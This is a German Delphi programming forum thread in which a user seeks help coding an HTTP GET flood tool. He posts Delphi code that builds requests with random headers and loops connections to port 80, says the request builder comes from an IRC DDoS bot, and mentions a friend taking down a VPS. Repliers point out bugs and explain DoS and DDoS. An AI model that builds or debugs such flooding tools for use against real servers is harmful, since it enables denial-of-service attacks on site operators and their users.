![]() |
http request/get flood
servuß
ich will einen http flood coden, da ich an sowas am meisten spaß hab und mich die funktionsweise interessiert (und wie man womöglich gegenmaßnahmen ergreifen kann) THATS ONLY PRACTICE ich hab mal was zum test geschrieben, funktioniert aber nicht
Delphi-Quellcode:
die http request funktion hat ein kollege von mir geschrieben, weil ich nicht wusste wie ich es anders lösen sollte
function CreateHTTPRequest(Site: String): String;
var Request: String; begin Randomize; Request := 'GET ' + Site + ' HTTP/1.1' + #13#10; Request := Request + 'Host: ' + Site + #13#10; Request := Request + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' + #13#10; Request := Request + 'Accept-Language: en-us,en' + #13#10; Request := Request + 'User-Agent: ' + UserAgents[1 + Random(11)] + #13#10; Request := Request + 'Referer: ' + Referer[1 + Random(5)] + #13#10; Request := Request + 'Connection: close' + #13#10#13#10; Result := Request; end; procedure TForm1.Button1Click(Sender: TObject); begin Seite := Edit1.Text; ClientSocket1.Active := true; Label1.Visible := true; Label1.Caption := 'Flooding on port 80...'; while flood do begin ClientSocket1.Socket.Connect(Strtoint(target)); if ClientSocket1.Socket.Connected then begin Clientsocket1.Socket.SendText(CreateHTTPRequest(Seite)); Clientsocket1.Socket.Disconnect(Strtoint(Seite)); Sleep(2); Application.ProcessMessages; end; end; Clientsocket1.Socket.Free; end; procedure TForm1.Button2Click(Sender: TObject); begin Application.Terminate; end; end. kann mir da wer helfen? ich hab versucht mit tclientsocket eine verbindung aufzubauen, aber scheinbar funktioniert das nicht. hab mir schon überlegt das mit raw sockets zu machen, aber die sind ja ab sp2 deaktiviert. wie schauts denn mit winsock aus? achja, eigentlich wollte ich bei
Delphi-Quellcode:
nicht sendtext, sondern sendstring senden, nur das hat nicht ganz geklappt.
Clientsocket1.Socket.SendText(CreateHTTPRequest(Seite));
|
Re: http request/get flood
Weißt du überhaupt was dieser Code da macht? Dein Problem liegt in Zeile 30, da steht
![]() PS.: Du testest das ja sicher nur an deinen eigenen Servern? Liebe Grüße, Valentin |
Re: http request/get flood
natürlich weiß ich was der code macht
ich versuch eben einen webserver auf port 80 unzählig viele requests zu schicken und soviele threads wie möglich aufzumachen wie könnte ich das anders einfach machen? ich habe etwas über idHTTP gelesen, damit wäre es doch theoretisch einfach möglich oder? |
Re: http request/get flood
Zitat:
|
Re: http request/get flood
Hast du dir angeschaut was Sleep(2) macht? :zwinker:
Liebe Grüße, Valentin |
Re: http request/get flood
Zitat:
|
Re: http request/get flood
jo schon ^^
naja was ich auch mache, mein prog mein "keine adresse angegeben" bzw es kommt irgendein error, den ich gleich posten werden. naja, ich denke nicht dass es an sleep liegt. wie soll denn sleep den programmablauf stören? |
Re: http request/get flood
Zitat:
Man sagt, um einen sogenannten DoS (Denial of Service, also Serviceverweigerung - das ist einer von vielen Vorgängen einen Dienst lahmzulegen. Ein anderer wäre simples einhacken mit anschließendem Ausschalten) auszuführen, muss man selbst mehr Anbindung haben als der Server selbst. Da das nur selten, wenn nicht sogar nie der Fall ist, benutzt man meist DDoS. Dieser Distributed Denial of Service benötigt mehrere Rechner mit nabhängigen Leitungen um den Server zu flooden. Da du aber höchst unwahrscheinlich mehr Anbindung als der zu "DoS"-nde Server hast und auch wohl kaum mehrere Server mit genügend summierter Anbindung, kannst du die Sache eigentlich vergessen. Primär müsstest du aber erstmal rausfinden warum disee Fehlermeldung kommt, die du uns so lange verschwiegen hast. Kleiner Tipp am Rande: Fehlermeldungen haben einen guten Berechtigungsgrund, nämlich der, dass es für den Programmierer einfacherer ist den Fehler zu finden. Wenn du uns so eine Meldung verschweigst, dann können wir nicht helfen. Was es jetzt aber genau mit der Meldung auf sich hat kann ich dir nicht sagen, dafür fehlen mit die Delphi-Kenntnisse. Auf den ersteb Blick ist deine CreateHTTPRequest-Funktion aber sowieso inpraktikabel, da Hostname und URI nicht das gleiche ist. Du verwendest dafür aber die gleiche Variable. Meiner Meinung nach solltest du dich mehr mit dem Thema beschäftigen. Das heißt du brauchst wissen über Netzwerke (TCP/IP) und Aufbau des HTTP. So wird das nichts. Liebe Grüße, Valentin |
Re: http request/get flood
jo du hast recht, wirklich viel ahnung hab ich nicht, aber ich bemüh mich un der wille ist da :wink:
was ddos usw ist, weiß ich :-D wenn du es unbedingt wissen willst, ich hab die createhttprequest funktion auch aus dem acidbot von poke, also ein irc basiert ddos bot. mich interessiert das einfach wie das funktioniert. mein kollege hat es geschafft, mit seinem pc (ich glaube dsl 3000 anbindung) unseren vps server zu flooden. der server war danach down. Aus Neugier wollte ich sowas auch versuchen. Leider codet er in vb, und das kann ich nicht ^^ ich habe mich jetzt ein bisschen mit indy und den der idhttp komponente auseinandergesetzt, bin dabei es neu zu versuchen. |
Re: http request/get flood
Zitat:
Eigentlich wartet er aber länger, die Auflösung von "Sleep()" liegt irgendwo bei 50 Millisekunden, kleiner Zeiten kann man mit "Sleep()" nicht warten (Win ist kein Echtzeitbetriebssystem). Eigentlich verstehe ich nicht, was das "Sleep()" da überhaupt soll... |
Alle Zeitangaben in WEZ +1. Es ist jetzt 22:33 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz